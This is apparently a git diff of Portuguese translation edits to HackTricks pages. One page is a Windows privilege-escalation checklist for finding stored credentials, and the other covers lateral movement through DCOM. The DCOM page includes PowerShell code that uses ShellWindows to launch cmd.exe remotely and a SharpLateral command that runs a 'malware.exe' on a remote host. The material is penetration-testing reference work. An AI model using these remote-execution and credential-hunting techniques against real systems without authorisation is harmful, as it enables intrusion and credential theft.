* [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/#appcmd-exe)? Credenciais?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Carregamento lateral de DLL?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Carregamento Lateral de DLL?
|
||||
|
||||
### [Arquivos e Registro (Credenciais)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
|
||||
* [ ] **Putty:** [**Credenciais**](windows-local-privilege-escalation/#putty-creds) **e** [**chaves de host SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] **Putty:** [**Credenciais**](windows-local-privilege-escalation/#putty-creds) **e** [**Chaves de host SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] [**Chaves SSH no registro**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] Senhas em [**arquivos não assistidos**](windows-local-privilege-escalation/#unattended-files)?
|
||||
* [ ] Algum backup de [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
||||
|
@ -118,7 +118,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* [ ] Você deseja [**solicitar credenciais**](windows-local-privilege-escalation/#ask-for-credentials) ao usuário?
|
||||
* [ ] Arquivos interessantes dentro da [**Lixeira**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] Outro [**registro contendo credenciais**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Dentro de [**dados do navegador**](windows-local-privilege-escalation/#browsers-history) (bancos de dados, histórico, favoritos, ...)?
|
||||
* [ ] Dentro dos [**dados do navegador**](windows-local-privilege-escalation/#browsers-history) (bancos de dados, histórico, favoritos, ...)?
|
||||
* [**Pesquisa genérica de senha**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) em arquivos e registro
|
||||
* [**Ferramentas**](windows-local-privilege-escalation/#tools-that-search-for-passwords) para pesquisar automaticamente senhas
|
||||
|
||||
|
@ -132,7 +132,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -146,6 +146,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# DCOM Exec
|
||||
# DCOM Execução
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@
|
|||
**Para mais informações sobre essa técnica, confira o post original em [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
|
||||
O Modelo de Objeto de Componente Distribuído (DCOM) apresenta uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para Modelo de Objeto de Componente (COM), acessível [aqui para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [aqui para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Uma lista de aplicações DCOM pode ser obtida usando o comando PowerShell:
|
||||
Os objetos do Modelo de Objeto de Componente Distribuído (DCOM) apresentam uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para o Modelo de Objeto de Componente (COM), acessível [aqui para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [aqui para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Uma lista de aplicações DCOM pode ser obtida usando o comando PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
@ -55,12 +55,12 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**Para mais informações sobre essa técnica, consulte o post original [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
O objeto **MMC20.Application** foi identificado como carente de "LaunchPermissions" explícitos, recorrendo a permissões que permitem acesso de Administradores. Para mais detalhes, um tópico pode ser explorado [aqui](https://twitter.com/tiraniddo/status/817532039771525120), e é recomendado o uso da ferramenta de [@tiraniddo](https://twitter.com/tiraniddo) OleView .NET para filtrar objetos sem permissão de lançamento explícita.
|
||||
O objeto **MMC20.Application** foi identificado como carente de "LaunchPermissions" explícitos, recorrendo a permissões que permitem acesso de Administradores. Para mais detalhes, um tópico pode ser explorado [aqui](https://twitter.com/tiraniddo/status/817532039771525120), e é recomendado o uso do [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET para filtrar objetos sem Permissão de Lançamento explícita.
|
||||
|
||||
Dois objetos específicos, `ShellBrowserWindow` e `ShellWindows`, foram destacados devido à falta de Permissões de Lançamento explícitas. A ausência de uma entrada de registro `LaunchPermission` em `HKCR:\AppID\{guid}` significa a ausência de permissões explícitas.
|
||||
|
||||
### ShellWindows
|
||||
Para `ShellWindows`, que não possui um ProgID, os métodos .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitam a instanciação do objeto usando seu AppID. Esse processo utiliza o OleView .NET para recuperar o CLSID para `ShellWindows`. Uma vez instanciado, a interação é possível através do método `WindowsShell.Item`, levando à invocação de métodos como `Document.Application.ShellExecute`.
|
||||
Para `ShellWindows`, que não possui um ProgID, os métodos .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitam a instanciação do objeto usando seu AppID. Esse processo aproveita o OleView .NET para recuperar o CLSID para `ShellWindows`. Uma vez instanciado, a interação é possível através do método `WindowsShell.Item`, levando à invocação de métodos como `Document.Application.ShellExecute`.
|
||||
|
||||
Exemplos de comandos PowerShell foram fornecidos para instanciar o objeto e executar comandos remotamente:
|
||||
```powershell
|
||||
|
@ -69,9 +69,9 @@ $obj = [System.Activator]::CreateInstance($com)
|
|||
$item = $obj.Item()
|
||||
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
|
||||
```
|
||||
### Movimentação Lateral com Objetos DCOM do Excel
|
||||
### Movimentação lateral com Objetos DCOM do Excel
|
||||
|
||||
A movimentação lateral pode ser alcançada explorando objetos DCOM do Excel. Para obter informações detalhadas, é aconselhável ler a discussão sobre a alavancagem do Excel DDE para movimentação lateral via DCOM no [blog da Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
A movimentação lateral pode ser alcançada explorando objetos DCOM do Excel. Para informações detalhadas, é aconselhável ler a discussão sobre a alavancagem do Excel DDE para movimentação lateral via DCOM no [blog da Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
|
||||
O projeto Empire fornece um script PowerShell, que demonstra a utilização do Excel para execução de código remoto (RCE) manipulando objetos DCOM. Abaixo estão trechos do script disponível no [repositório GitHub do Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), mostrando diferentes métodos para abusar do Excel para RCE:
|
||||
```powershell
|
||||
|
@ -120,7 +120,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
Loading…
Reference in a new issue